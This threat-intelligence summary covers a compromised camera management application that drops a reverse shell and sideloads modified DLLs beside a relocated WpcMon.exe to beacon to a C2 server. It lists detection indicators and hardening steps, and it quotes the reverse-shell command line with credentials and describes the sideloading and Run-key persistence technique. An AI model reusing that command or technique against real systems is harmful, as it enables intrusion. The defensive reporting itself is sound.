Camera Management Software Compromise Leads to Malware Deployment

What it is

Huntress saw several incidents in September and October 2025 in which a compromised camera management application, C:\Program Files (x86)\CMS\CMS.exe, was the initial access vector. The attacker then used a reverse shell and DLL sideloading to run a beacon to C2 at 144.172.116[.]37. Huntress could not identify the vendor or find application logs, so how the camera software was compromised is unknown.

How it works

1. rs.win32.exe is dropped in C:\Users\<user>\AppData\Roaming\CMS\RemoteSetup\ and launched as a reverse shell.
2. The legitimate Microsoft Parental Control Monitor binary WpcMon.exe (hash-verified by Huntress) is copied to C:\Users\<user>\AppData\Local\Microsoft\WpcMon\. Its normal location is C:\Windows\system32.
3. Modified zlib DLLs, IPHLPAPI.DLL and samcli.dll, sit beside it and are sideloaded. They add periodic C2 beaconing.
4. Persistence is a value under the user's Run key that points to the relocated WpcMon.exe.

In the process tree, WpcMon.exe first appears spawned from rs.win32.exe and CMS.exe.

What to do

Hunt for these indicators:

• WpcMon.exe running from any path under AppData.
• IPHLPAPI.DLL or samcli.dll in a user-writable directory.
• The chain CMS.exe → rs.win32.exe → WpcMon.exe.
• Outbound connections to 144.172.116[.]37.
• A Run key value that points to WpcMon.exe.

The reverse shell command line, useful as a string pivot:

rs.win32.exe -i "<IP Address>" -p "8000" -c <file> -r <file> "admin" "1234567a7654321"

Strings in the CMS.exe binary can identify the software on other hosts: developerslavery, d3e3v4e3l9o9p0e3r4s2l9a1v4e3r4y6 and hxxp://cloudapi.3r-dataware[.]com/sso/.

Hardening steps from the page:

• Inventory camera management software and restrict its network access.
• Monitor for unusual processes and outbound connections from it.
• Use application control to block unapproved executables and DLLs in user-writable paths.

Caveats

• Huntress links the software to 3R Global (Korea) through the 3r-dataware[.]com domain. A "CMS" package on kvision[.]ai contains the same strings. Huntress says this is only a possible source, not a confirmed vendor or download origin.
• The page gives no hashes for the dropped files or DLLs, and no CVE or compromise mechanism for the camera software.
• Every incident shared the same C2 IP, so that indicator may rotate.